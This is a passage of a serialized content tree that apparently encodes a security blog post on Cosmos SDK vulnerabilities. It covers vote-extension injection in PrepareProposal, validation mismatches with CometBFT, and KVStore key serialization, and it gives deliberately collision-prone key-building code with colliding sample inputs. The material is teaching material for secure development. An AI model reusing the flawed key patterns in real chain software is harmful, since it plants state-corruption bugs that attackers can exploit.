ype":28,"value":320},{"type":23,"tag":504,"props":82936,"children":82937},{"style":1012},[82938],{"type":28,"value":82939},"ResponsePrepareProposal",{"type":23,"tag":504,"props":82941,"children":82942},{"style":523},[82943],{"type":28,"value":576},{"type":23,"tag":504,"props":82945,"children":82946},{"style":1012},[82947],{"type":28,"value":806},{"type":23,"tag":504,"props":82949,"children":82950},{"style":523},[82951],{"type":28,"value":537},{"type":23,"tag":504,"props":82953,"children":82954},{"class":506,"line":555},[82955],{"type":23,"tag":504,"props":82956,"children":82957},{"style":598},[82958],{"type":28,"value":80593},{"type":23,"tag":504,"props":82960,"children":82961},{"class":506,"line":633},[82962,82966,82971,82975],{"type":23,"tag":504,"props":82963,"children":82964},{"style":511},[82965],{"type":28,"value":78869},{"type":23,"tag":504,"props":82967,"children":82968},{"style":529},[82969],{"type":28,"value":82970}," injection",{"type":23,"tag":504,"props":82972,"children":82973},{"style":523},[82974],{"type":28,"value":74978},{"type":23,"tag":504,"props":82976,"children":82977},{"style":1012},[82978],{"type":28,"value":82979},"byte\n",{"type":23,"tag":504,"props":82981,"children":82982},{"class":506,"line":687},[82983,82987,82992,82996,83000,83004,83008,83012,83016,83020,83025,83029,83034,83038,83043],{"type":23,"tag":504,"props":82984,"children":82985},{"style":544},[82986],{"type":28,"value":2250},{"type":23,"tag":504,"props":82988,"children":82989},{"style":529},[82990],{"type":28,"value":82991}," req",{"type":23,"tag":504,"props":82993,"children":82994},{"style":523},[82995],{"type":28,"value":320},{"type":23,"tag":504,"props":82997,"children":82998},{"style":529},[82999],{"type":28,"value":82230},{"type":23,"tag":504,"props":83001,"children":83002},{"style":598},[83003],{"type":28,"value":13175},{"type":23,"tag":504,"props":83005,"children":83006},{"style":529},[83007],{"type":28,"value":24823},{"type":23,"tag":504,"props":83009,"children":83010},{"style":523},[83011],{"type":28,"value":320},{"type":23,"tag":504,"props":83013,"children":83014},{"style":517},[83015],{"type":28,"value":82431},{"type":23,"tag":504,"props":83017,"children":83018},{"style":523},[83019],{"type":28,"value":29150},{"type":23,"tag":504,"props":83021,"children":83022},{"style":529},[83023],{"type":28,"value":83024},"Abci",{"type":23,"tag":504,"props":83026,"children":83027},{"style":523},[83028],{"type":28,"value":320},{"type":23,"tag":504,"props":83030,"children":83031},{"style":529},[83032],{"type":28,"value":83033},"VoteExtensionsEnableHeight",{"type":23,"tag":504,"props":83035,"children":83036},{"style":598},[83037],{"type":28,"value":13166},{"type":23,"tag":504,"props":83039,"children":83040},{"style":529},[83041],{"type":28,"value":83042}," collectSigs",{"type":23,"tag":504,"props":83044,"children":83045},{"style":523},[83046],{"type":28,"value":552},{"type":23,"tag":504,"props":83048,"children":83049},{"class":506,"line":736},[83050],{"type":23,"tag":504,"props":83051,"children":83052},{"style":1106},[83053],{"type":28,"value":83054},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":504,"props":83056,"children":83057},{"class":506,"line":785},[83058,83062,83066,83071,83075,83080,83084,83088,83092,83097,83101,83106,83110,83114,83118,83122,83126,83130,83134,83139,83143,83147,83151,83156],{"type":23,"tag":504,"props":83059,"children":83060},{"style":529},[83061],{"type":28,"value":81087},{"type":23,"tag":504,"props":83063,"children":83064},{"style":598},[83065],{"type":28,"value":75167},{"type":23,"tag":504,"props":83067,"children":83068},{"style":529},[83069],{"type":28,"value":83070}," baseapp",{"type":23,"tag":504,"props":83072,"children":83073},{"style":523},[83074],{"type":28,"value":320},{"type":23,"tag":504,"props":83076,"children":83077},{"style":517},[83078],{"type":28,"value":83079},"ValidateVoteExtensions",{"type":23,"tag":504,"props":83081,"children":83082},{"style":523},[83083],{"type":28,"value":526},{"type":23,"tag":504,"props":83085,"children":83086},{"style":529},[83087],{"type":28,"value":19262},{"type":23,"tag":504,"props":83089,"children":83090},{"style":523},[83091],{"type":28,"value":576},{"type":23,"tag":504,"props":83093,"children":83094},{"style":529},[83095],{"type":28,"value":83096},"h",{"type":23,"tag":504,"props":83098,"children":83099},{"style":523},[83100],{"type":28,"value":320},{"type":23,"tag":504,"props":83102,"children":83103},{"style":529},[83104],{"type":28,"value":83105},"stakingKeeper",{"type":23,"tag":504,"props":83107,"children":83108},{"style":523},[83109],{"type":28,"value":576},{"type":23,"tag":504,"props":83111,"children":83112},{"style":529},[83113],{"type":28,"value":82900},{"type":23,"tag":504,"props":83115,"children":83116},{"style":523},[83117],{"type":28,"value":320},{"type":23,"tag":504,"props":83119,"children":83120},{"style":529},[83121],{"type":28,"value":82230},{"type":23,"tag":504,"props":83123,"children":83124},{"style":523},[83125],{"type":28,"value":576},{"type":23,"tag":504,"props":83127,"children":83128},{"style":529},[83129],{"type":28,"value":19262},{"type":23,"tag":504,"props":83131,"children":83132},{"style":523},[83133],{"type":28,"value":320},{"type":23,"tag":504,"props":83135,"children":83136},{"style":517},[83137],{"type":28,"value":83138},"ChainID",{"type":23,"tag":504,"props":83140,"children":83141},{"style":523},[83142],{"type":28,"value":17355},{"type":23,"tag":504,"props":83144,"children":83145},{"style":529},[83146],{"type":28,"value":82900},{"type":23,"tag":504,"props":83148,"children":83149},{"style":523},[83150],{"type":28,"value":320},{"type":23,"tag":504,"props":83152,"children":83153},{"style":529},[83154],{"type":28,"value":83155},"LocalLastCommit",{"type":23,"tag":504,"props":83157,"children":83158},{"style":523},[83159],{"type":28,"value":1192},{"type":23,"tag":504,"props":83161,"children":83162},{"class":506,"line":813},[83163,83167,83171,83175,83179],{"type":23,"tag":504,"props":83164,"children":83165},{"style":544},[83166],{"type":28,"value":57780},{"type":23,"tag":504,"props":83168,"children":83169},{"style":529},[83170],{"type":28,"value":47500},{"type":23,"tag":504,"props":83172,"children":83173},{"style":598},[83174],{"type":28,"value":63366},{"type":23,"tag":504,"props":83176,"children":83177},{"style":511},[83178],{"type":28,"value":80669},{"type":23,"tag":504,"props":83180,"children":83181},{"style":523},[83182],{"type":28,"value":552},{"type":23,"tag":504,"props":83184,"children":83185},{"class":506,"line":851},[83186,83190,83194,83198],{"type":23,"tag":504,"props":83187,"children":83188},{"style":544},[83189],{"type":28,"value":59707},{"type":23,"tag":504,"props":83191,"children":83192},{"style":511},[83193],{"type":28,"value":80669},{"type":23,"tag":504,"props":83195,"children":83196},{"style":523},[83197],{"type":28,"value":576},{"type":23,"tag":504,"props":83199,"children":83200},{"style":529},[83201],{"type":28,"value":82390},{"type":23,"tag":504,"props":83203,"children":83204},{"class":506,"line":869},[83205],{"type":23,"tag":504,"props":83206,"children":83207},{"style":523},[83208],{"type":28,"value":1282},{"type":23,"tag":504,"props":83210,"children":83211},{"class":506,"line":878},[83212,83217,83221,83225,83229,83234,83238,83243,83247,83251,83255,83259],{"type":23,"tag":504,"props":83213,"children":83214},{"style":529},[83215],{"type":28,"value":83216},"            injection",{"type":23,"tag":504,"props":83218,"children":83219},{"style":523},[83220],{"type":28,"value":576},{"type":23,"tag":504,"props":83222,"children":83223},{"style":529},[83224],{"type":28,"value":47399},{"type":23,"tag":504,"props":83226,"children":83227},{"style":598},[83228],{"type":28,"value":648},{"type":23,"tag":504,"props":83230,"children":83231},{"style":529},[83232],{"type":28,"value":83233}," json",{"type":23,"tag":504,"props":83235,"children":83236},{"style":523},[83237],{"type":28,"value":320},{"type":23,"tag":504,"props":83239,"children":83240},{"style":517},[83241],{"type":28,"value":83242},"Marshal",{"type":23,"tag":504,"props":83244,"children":83245},{"style":523},[83246],{"type":28,"value":526},{"type":23,"tag":504,"props":83248,"children":83249},{"style":529},[83250],{"type":28,"value":82900},{"type":23,"tag":504,"props":83252,"children":83253},{"style":523},[83254],{"type":28,"value":320},{"type":23,"tag":504,"props":83256,"children":83257},{"style":529},[83258],{"type":28,"value":83155},{"type":23,"tag":504,"props":83260,"children":83261},{"style":523},[83262],{"type":28,"value":1192},{"type":23,"tag":504,"props":83264,"children":83265},{"class":506,"line":1221},[83266,83270,83274,83278,83282],{"type":23,"tag":504,"props":83267,"children":83268},{"style":544},[83269],{"type":28,"value":57780},{"type":23,"tag":504,"props":83271,"children":83272},{"style":529},[83273],{"type":28,"value":47500},{"type":23,"tag":504,"props":83275,"children":83276},{"style":598},[83277],{"type":28,"value":63366},{"type":23,"tag":504,"props":83279,"children":83280},{"style":511},[83281],{"type":28,"value":80669},{"type":23,"tag":504,"props":83283,"children":83284},{"style":523},[83285],{"type":28,"value":552},{"type":23,"tag":504,"props":83287,"children":83288},{"class":506,"line":1276},[83289,83294,83298,83303,83307,83311,83315,83320,83324,83329,83333,83337],{"type":23,"tag":504,"props":83290,"children":83291},{"style":529},[83292],{"type":28,"value":83293},"                h",{"type":23,"tag":504,"props":83295,"children":83296},{"style":523},[83297],{"type":28,"value":320},{"type":23,"tag":504,"props":83299,"children":83300},{"style":529},[83301],{"type":28,"value":83302},"logger",{"type":23,"tag":504,"props":83304,"children":83305},{"style":523},[83306],{"type":28,"value":320},{"type":23,"tag":504,"props":83308,"children":83309},{"style":517},[83310],{"type":28,"value":36375},{"type":23,"tag":504,"props":83312,"children":83313},{"style":523},[83314],{"type":28,"value":526},{"type":23,"tag":504,"props":83316,"children":83317},{"style":622},[83318],{"type":28,"value":83319},"\"failed to marshal extended votes\"",{"type":23,"tag":504,"props":83321,"children":83322},{"style":523},[83323],{"type":28,"value":576},{"type":23,"tag":504,"props":83325,"children":83326},{"style":622},[83327],{"type":28,"value":83328},"\"err\"",{"type":23,"tag":504,"props":83330,"children":83331},{"style":523},[83332],{"type":28,"value":576},{"type":23,"tag":504,"props":83334,"children":83335},{"style":529},[83336],{"type":28,"value":47399},{"type":23,"tag":504,"props":83338,"children":83339},{"style":523},[83340],{"type":28,"value":1192},{"type":23,"tag":504,"props":83342,"children":83343},{"class":506,"line":1285},[83344,83348,83352,83356],{"type":23,"tag":504,"props":83345,"children":83346},{"style":544},[83347],{"type":28,"value":59707},{"type":23,"tag":504,"props":83349,"children":83350},{"style":511},[83351],{"type":28,"value":80669},{"type":23,"tag":504,"props":83353,"children":83354},{"style":523},[83355],{"type":28,"value":576},{"type":23,"tag":504,"props":83357,"children":83358},{"style":529},[83359],{"type":28,"value":82390},{"type":23,"tag":504,"props":83361,"children":83362},{"class":506,"line":1294},[83363],{"type":23,"tag":504,"props":83364,"children":83365},{"style":523},[83366],{"type":28,"value":1282},{"type":23,"tag":504,"props":83368,"children":83369},{"class":506,"line":1302},[83370],{"type":23,"tag":504,"props":83371,"children":83372},{"style":598},[83373],{"type":28,"value":81269},{"type":23,"tag":504,"props":83375,"children":83376},{"class":506,"line":1311},[83377],{"type":23,"tag":504,"props":83378,"children":83379},{"style":523},[83380],{"type":28,"value":1291},{"type":23,"tag":504,"props":83382,"children":83383},{"class":506,"line":1334},[83384,83389,83393,83397,83401,83406,83410,83415,83419,83423,83427,83431],{"type":23,"tag":504,"props":83385,"children":83386},{"style":529},[83387],{"type":28,"value":83388},"        defaultRes",{"type":23,"tag":504,"props":83390,"children":83391},{"style":523},[83392],{"type":28,"value":576},{"type":23,"tag":504,"props":83394,"children":83395},{"style":529},[83396],{"type":28,"value":47399},{"type":23,"tag":504,"props":83398,"children":83399},{"style":598},[83400],{"type":28,"value":75167},{"type":23,"tag":504,"props":83402,"children":83403},{"style":529},[83404],{"type":28,"value":83405}," h",{"type":23,"tag":504,"props":83407,"children":83408},{"style":523},[83409],{"type":28,"value":320},{"type":23,"tag":504,"props":83411,"children":83412},{"style":517},[83413],{"type":28,"value":83414},"defaultPrepareProposal",{"type":23,"tag":504,"props":83416,"children":83417},{"style":523},[83418],{"type":28,"value":526},{"type":23,"tag":504,"props":83420,"children":83421},{"style":529},[83422],{"type":28,"value":19262},{"type":23,"tag":504,"props":83424,"children":83425},{"style":523},[83426],{"type":28,"value":576},{"type":23,"tag":504,"props":83428,"children":83429},{"style":529},[83430],{"type":28,"value":82900},{"type":23,"tag":504,"props":83432,"children":83433},{"style":523},[83434],{"type":28,"value":1192},{"type":23,"tag":504,"props":83436,"children":83437},{"class":506,"line":1370},[83438],{"type":23,"tag":504,"props":83439,"children":83440},{"style":598},[83441],{"type":28,"value":80593},{"type":23,"tag":504,"props":83443,"children":83444},{"class":506,"line":1384},[83445,83450,83454,83459,83463],{"type":23,"tag":504,"props":83446,"children":83447},{"style":529},[83448],{"type":28,"value":83449},"        proposalTxs",{"type":23,"tag":504,"props":83451,"children":83452},{"style":598},[83453],{"type":28,"value":75167},{"type":23,"tag":504,"props":83455,"children":83456},{"style":529},[83457],{"type":28,"value":83458}," defaultRes",{"type":23,"tag":504,"props":83460,"children":83461},{"style":523},[83462],{"type":28,"value":320},{"type":23,"tag":504,"props":83464,"children":83465},{"style":529},[83466],{"type":28,"value":83467},"Txs\n",{"type":23,"tag":504,"props":83469,"children":83470},{"class":506,"line":1392},[83471,83475,83479,83483,83487],{"type":23,"tag":504,"props":83472,"children":83473},{"style":544},[83474],{"type":28,"value":2250},{"type":23,"tag":504,"props":83476,"children":83477},{"style":529},[83478],{"type":28,"value":82970},{"type":23,"tag":504,"props":83480,"children":83481},{"style":598},[83482],{"type":28,"value":63366},{"type":23,"tag":504,"props":83484,"children":83485},{"style":511},[83486],{"type":28,"value":80669},{"type":23,"tag":504,"props":83488,"children":83489},{"style":523},[83490],{"type":28,"value":552},{"type":23,"tag":504,"props":83492,"children":83493},{"class":506,"line":1400},[83494,83499,83503,83507,83512,83517,83521,83526,83530,83535,83539],{"type":23,"tag":504,"props":83495,"children":83496},{"style":529},[83497],{"type":28,"value":83498},"            proposalTxs",{"type":23,"tag":504,"props":83500,"children":83501},{"style":598},[83502],{"type":28,"value":648},{"type":23,"tag":504,"props":83504,"children":83505},{"style":517},[83506],{"type":28,"value":76447},{"type":23,"tag":504,"props":83508,"children":83509},{"style":523},[83510],{"type":28,"value":83511},"([][]",{"type":23,"tag":504,"props":83513,"children":83514},{"style":1012},[83515],{"type":28,"value":83516},"byte",{"type":23,"tag":504,"props":83518,"children":83519},{"style":523},[83520],{"type":28,"value":75369},{"type":23,"tag":504,"props":83522,"children":83523},{"style":529},[83524],{"type":28,"value":83525},"injection",{"type":23,"tag":504,"props":83527,"children":83528},{"style":523},[83529],{"type":28,"value":75388},{"type":23,"tag":504,"props":83531,"children":83532},{"style":529},[83533],{"type":28,"value":83534},"proposalTxs",{"type":23,"tag":504,"props":83536,"children":83537},{"style":598},[83538],{"type":28,"value":8572},{"type":23,"tag":504,"props":83540,"children":83541},{"style":523},[83542],{"type":28,"value":1192},{"type":23,"tag":504,"props":83544,"children":83545},{"class":506,"line":1422},[83546,83551,83555,83559,83563,83567,83571,83576,83580,83585,83589,83593,83597,83601],{"type":23,"tag":504,"props":83547,"children":83548},{"style":529},[83549],{"type":28,"value":83550},"            h",{"type":23,"tag":504,"props":83552,"children":83553},{"style":523},[83554],{"type":28,"value":320},{"type":23,"tag":504,"props":83556,"children":83557},{"style":529},[83558],{"type":28,"value":83302},{"type":23,"tag":504,"props":83560,"children":83561},{"style":523},[83562],{"type":28,"value":320},{"type":23,"tag":504,"props":83564,"children":83565},{"style":517},[83566],{"type":28,"value":23690},{"type":23,"tag":504,"props":83568,"children":83569},{"style":523},[83570],{"type":28,"value":526},{"type":23,"tag":504,"props":83572,"children":83573},{"style":622},[83574],{"type":28,"value":83575},"\"injected local last commit\"",{"type":23,"tag":504,"props":83577,"children":83578},{"style":523},[83579],{"type":28,"value":576},{"type":23,"tag":504,"props":83581,"children":83582},{"style":622},[83583],{"type":28,"value":83584},"\"height\"",{"type":23,"tag":504,"props":83586,"children":83587},{"style":523},[83588],{"type":28,"value":576},{"type":23,"tag":504,"props":83590,"children":83591},{"style":529},[83592],{"type":28,"value":82900},{"type":23,"tag":504,"props":83594,"children":83595},{"style":523},[83596],{"type":28,"value":320},{"type":23,"tag":504,"props":83598,"children":83599},{"style":529},[83600],{"type":28,"value":82230},{"type":23,"tag":504,"props":83602,"children":83603},{"style":523},[83604],{"type":28,"value":1192},{"type":23,"tag":504,"props":83606,"children":83607},{"class":506,"line":1450},[83608],{"type":23,"tag":504,"props":83609,"children":83610},{"style":523},[83611],{"type":28,"value":1291},{"type":23,"tag":504,"props":83613,"children":83614},{"class":506,"line":1463},[83615,83619,83623,83627,83631,83635],{"type":23,"tag":504,"props":83616,"children":83617},{"style":544},[83618],{"type":28,"value":742},{"type":23,"tag":504,"props":83620,"children":83621},{"style":598},[83622],{"type":28,"value":6125},{"type":23,"tag":504,"props":83624,"children":83625},{"style":1012},[83626],{"type":28,"value":82909},{"type":23,"tag":504,"props":83628,"children":83629},{"style":523},[83630],{"type":28,"value":320},{"type":23,"tag":504,"props":83632,"children":83633},{"style":1012},[83634],{"type":28,"value":82939},{"type":23,"tag":504,"props":83636,"children":83637},{"style":523},[83638],{"type":28,"value":9862},{"type":23,"tag":504,"props":83640,"children":83641},{"class":506,"line":1485},[83642,83647,83651,83655],{"type":23,"tag":504,"props":83643,"children":83644},{"style":529},[83645],{"type":28,"value":83646},"            Txs",{"type":23,"tag":504,"props":83648,"children":83649},{"style":523},[83650],{"type":28,"value":14311},{"type":23,"tag":504,"props":83652,"children":83653},{"style":529},[83654],{"type":28,"value":83534},{"type":23,"tag":504,"props":83656,"children":83657},{"style":523},[83658],{"type":28,"value":2484},{"type":23,"tag":504,"props":83660,"children":83661},{"class":506,"line":1503},[83662,83667],{"type":23,"tag":504,"props":83663,"children":83664},{"style":523},[83665],{"type":28,"value":83666},"        }, ",{"type":23,"tag":504,"props":83668,"children":83669},{"style":511},[83670],{"type":28,"value":75393},{"type":23,"tag":504,"props":83672,"children":83673},{"class":506,"line":1516},[83674],{"type":23,"tag":504,"props":83675,"children":83676},{"style":523},[83677],{"type":28,"value":875},{"type":23,"tag":504,"props":83679,"children":83680},{"class":506,"line":1543},[83681],{"type":23,"tag":504,"props":83682,"children":83683},{"style":523},[83684],{"type":28,"value":884},{"type":23,"tag":24,"props":83686,"children":83687},{},[83688,83690,83695,83696,83701,83703,83710],{"type":28,"value":83689},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":56,"props":83691,"children":83693},{"className":83692},[],[83694],{"type":28,"value":82059},{"type":28,"value":801},{"type":23,"tag":56,"props":83697,"children":83699},{"className":83698},[],[83700],{"type":28,"value":82127},{"type":28,"value":83702},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":92,"props":83704,"children":83707},{"href":83705,"rel":83706},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[96],[83708],{"type":28,"value":83709},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":83711},", which will later get rejected by CometBTF.",{"type":23,"tag":70,"props":83713,"children":83715},{"id":83714},"the-keymaker",[83716],{"type":28,"value":83717},"The Keymaker",{"type":23,"tag":24,"props":83719,"children":83720},{},[83721,83723,83729,83731,83736],{"type":28,"value":83722},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":56,"props":83724,"children":83726},{"className":83725},[],[83727],{"type":28,"value":83728},"KVStore",{"type":28,"value":83730}," to handle states efficently. In ",{"type":23,"tag":56,"props":83732,"children":83734},{"className":83733},[],[83735],{"type":28,"value":83728},{"type":28,"value":83737},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":83739,"children":83740},{},[83741],{"type":28,"value":83742},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":83744,"children":83745},{},[83746,83748,83754],{"type":28,"value":83747},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":56,"props":83749,"children":83751},{"className":83750},[],[83752],{"type":28,"value":83753},"positionMap",{"type":28,"value":83755}," structure mentioned below into storage.",{"type":23,"tag":494,"props":83757,"children":83759},{"code":83758,"language":74915,"meta":7,"className":74916,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[83760],{"type":23,"tag":56,"props":83761,"children":83762},{"__ignoreMap":7},[83763,83779,83796,83812,83831,83846,83853,83870],{"type":23,"tag":504,"props":83764,"children":83765},{"class":506,"line":507},[83766,83770,83775],{"type":23,"tag":504,"props":83767,"children":83768},{"style":511},[83769],{"type":28,"value":31734},{"type":23,"tag":504,"props":83771,"children":83772},{"style":1012},[83773],{"type":28,"value":83774}," VaultId",{"type":23,"tag":504,"props":83776,"children":83777},{"style":1012},[83778],{"type":28,"value":74953},{"type":23,"tag":504,"props":83780,"children":83781},{"class":506,"line":540},[83782,83786,83791],{"type":23,"tag":504,"props":83783,"children":83784},{"style":511},[83785],{"type":28,"value":31734},{"type":23,"tag":504,"props":83787,"children":83788},{"style":1012},[83789],{"type":28,"value":83790}," Username",{"type":23,"tag":504,"props":83792,"children":83793},{"style":1012},[83794],{"type":28,"value":83795}," string\n",{"type":23,"tag":504,"props":83797,"children":83798},{"class":506,"line":555},[83799,83803,83808],{"type":23,"tag":504,"props":83800,"children":83801},{"style":511},[83802],{"type":28,"value":31734},{"type":23,"tag":504,"props":83804,"children":83805},{"style":1012},[83806],{"type":28,"value":83807}," PositionName",{"type":23,"tag":504,"props":83809,"children":83810},{"style":1012},[83811],{"type":28,"value":83795},{"type":23,"tag":504,"props":83813,"children":83814},{"class":506,"line":633},[83815,83819,83823,83827],{"type":23,"tag":504,"props":83816,"children":83817},{"style":511},[83818],{"type":28,"value":31734},{"type":23,"tag":504,"props":83820,"children":83821},{"style":1012},[83822],{"type":28,"value":6408},{"type":23,"tag":504,"props":83824,"children":83825},{"style":511},[83826],{"type":28,"value":20132},{"type":23,"tag":504,"props":83828,"children":83829},{"style":523},[83830],{"type":28,"value":552},{"type":23,"tag":504,"props":83832,"children":83833},{"class":506,"line":687},[83834,83838,83842],{"type":23,"tag":504,"props":83835,"children":83836},{"style":529},[83837],{"type":28,"value":42207},{"type":23,"tag":504,"props":83839,"children":83840},{"style":523},[83841],{"type":28,"value":74978},{"type":23,"tag":504,"props":83843,"children":83844},{"style":1012},[83845],{"type":28,"value":82979},{"type":23,"tag":504,"props":83847,"children":83848},{"class":506,"line":736},[83849],{"type":23,"tag":504,"props":83850,"children":83851},{"style":523},[83852],{"type":28,"value":884},{"type":23,"tag":504,"props":83854,"children":83855},{"class":506,"line":785},[83856,83860,83865],{"type":23,"tag":504,"props":83857,"children":83858},{"style":511},[83859],{"type":28,"value":31734},{"type":23,"tag":504,"props":83861,"children":83862},{"style":1012},[83863],{"type":28,"value":83864}," PositionMap",{"type":23,"tag":504,"props":83866,"children":83867},{"style":598},[83868],{"type":28,"value":83869}," :=\n",{"type":23,"tag":504,"props":83871,"children":83872},{"class":506,"line":813},[83873,83878,83882,83887,83891,83895,83899,83904,83908,83912,83916,83921,83925],{"type":23,"tag":504,"props":83874,"children":83875},{"style":511},[83876],{"type":28,"value":83877},"    map",{"type":23,"tag":504,"props":83879,"children":83880},{"style":523},[83881],{"type":28,"value":2711},{"type":23,"tag":504,"props":83883,"children":83884},{"style":1012},[83885],{"type":28,"value":83886},"VaultId",{"type":23,"tag":504,"props":83888,"children":83889},{"style":523},[83890],{"type":28,"value":14391},{"type":23,"tag":504,"props":83892,"children":83893},{"style":511},[83894],{"type":28,"value":66082},{"type":23,"tag":504,"props":83896,"children":83897},{"style":523},[83898],{"type":28,"value":2711},{"type":23,"tag":504,"props":83900,"children":83901},{"style":1012},[83902],{"type":28,"value":83903},"Username",{"type":23,"tag":504,"props":83905,"children":83906},{"style":523},[83907],{"type":28,"value":14391},{"type":23,"tag":504,"props":83909,"children":83910},{"style":511},[83911],{"type":28,"value":66082},{"type":23,"tag":504,"props":83913,"children":83914},{"style":523},[83915],{"type":28,"value":2711},{"type":23,"tag":504,"props":83917,"children":83918},{"style":1012},[83919],{"type":28,"value":83920},"PositionName",{"type":23,"tag":504,"props":83922,"children":83923},{"style":523},[83924],{"type":28,"value":14391},{"type":23,"tag":504,"props":83926,"children":83927},{"style":1012},[83928],{"type":28,"value":83929},"Position\n",{"type":23,"tag":24,"props":83931,"children":83932},{},[83933,83935,83941],{"type":28,"value":83934},"Given that there are two levels of keys in ",{"type":23,"tag":56,"props":83936,"children":83938},{"className":83937},[],[83939],{"type":28,"value":83940},"PositionMap",{"type":28,"value":83942},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":494,"props":83944,"children":83946},{"code":83945,"language":74915,"meta":7,"className":74916,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[83947],{"type":23,"tag":56,"props":83948,"children":83949},{"__ignoreMap":7},[83950,83979,83991,84003,84015,84027],{"type":23,"tag":504,"props":83951,"children":83952},{"class":506,"line":507},[83953,83958,83962,83966,83970,83975],{"type":23,"tag":504,"props":83954,"children":83955},{"style":529},[83956],{"type":28,"value":83957},"storageKey",{"type":23,"tag":504,"props":83959,"children":83960},{"style":598},[83961],{"type":28,"value":75167},{"type":23,"tag":504,"props":83963,"children":83964},{"style":529},[83965],{"type":28,"value":80985},{"type":23,"tag":504,"props":83967,"children":83968},{"style":523},[83969],{"type":28,"value":320},{"type":23,"tag":504,"props":83971,"children":83972},{"style":517},[83973],{"type":28,"value":83974},"Sprintf",{"type":23,"tag":504,"props":83976,"children":83977},{"style":523},[83978],{"type":28,"value":2439},{"type":23,"tag":504,"props":83980,"children":83981},{"class":506,"line":540},[83982,83987],{"type":23,"tag":504,"props":83983,"children":83984},{"style":622},[83985],{"type":28,"value":83986},"    \"%d%s%s\"",{"type":23,"tag":504,"props":83988,"children":83989},{"style":523},[83990],{"type":28,"value":2484},{"type":23,"tag":504,"props":83992,"children":83993},{"class":506,"line":555},[83994,83999],{"type":23,"tag":504,"props":83995,"children":83996},{"style":529},[83997],{"type":28,"value":83998},"    vaultId",{"type":23,"tag":504,"props":84000,"children":84001},{"style":523},[84002],{"type":28,"value":2484},{"type":23,"tag":504,"props":84004,"children":84005},{"class":506,"line":633},[84006,84011],{"type":23,"tag":504,"props":84007,"children":84008},{"style":529},[84009],{"type":28,"value":84010},"    username",{"type":23,"tag":504,"props":84012,"children":84013},{"style":523},[84014],{"type":28,"value":2484},{"type":23,"tag":504,"props":84016,"children":84017},{"class":506,"line":687},[84018,84023],{"type":23,"tag":504,"props":84019,"children":84020},{"style":529},[84021],{"type":28,"value":84022},"    positionName",{"type":23,"tag":504,"props":84024,"children":84025},{"style":523},[84026],{"type":28,"value":2484},{"type":23,"tag":504,"props":84028,"children":84029},{"class":506,"line":736},[84030],{"type":23,"tag":504,"props":84031,"children":84032},{"style":523},[84033],{"type":28,"value":1192},{"type":23,"tag":24,"props":84035,"children":84036},{},[84037],{"type":28,"value":84038},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":494,"props":84040,"children":84042},{"code":84041},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[84043],{"type":23,"tag":56,"props":84044,"children":84045},{"__ignoreMap":7},[84046],{"type":28,"value":84041},{"type":23,"tag":24,"props":84048,"children":84049},{},[84050,84055],{"type":23,"tag":1887,"props":84051,"children":84052},{},[84053],{"type":28,"value":84054},"So, how can we mitigate this issue?",{"type":28,"value":84056},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":494,"props":84058,"children":84060},{"code":84059,"language":74915,"meta":7,"className":74916,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[84061],{"type":23,"tag":56,"props":84062,"children":84063},{"__ignoreMap":7},[84064,84075,84092,84099,84106,84133,84145,84156,84167,84178,84189,84200],{"type":23,"tag":504,"props":84065,"children":84066},{"class":506,"line":507},[84067,84071],{"type":23,"tag":504,"props":84068,"children":84069},{"style":511},[84070],{"type":28,"value":8635},{"type":23,"tag":504,"props":84072,"children":84073},{"style":523},[84074],{"type":28,"value":77317},{"type":23,"tag":504,"props":84076,"children":84077},{"class":506,"line":540},[84078,84083,84087],{"type":23,"tag":504,"props":84079,"children":84080},{"style":529},[84081],{"type":28,"value":84082},"    Seperator",{"type":23,"tag":504,"props":84084,"children":84085},{"style":598},[84086],{"type":28,"value":648},{"type":23,"tag":504,"props":84088,"children":84089},{"style":622},[84090],{"type":28,"value":84091}," 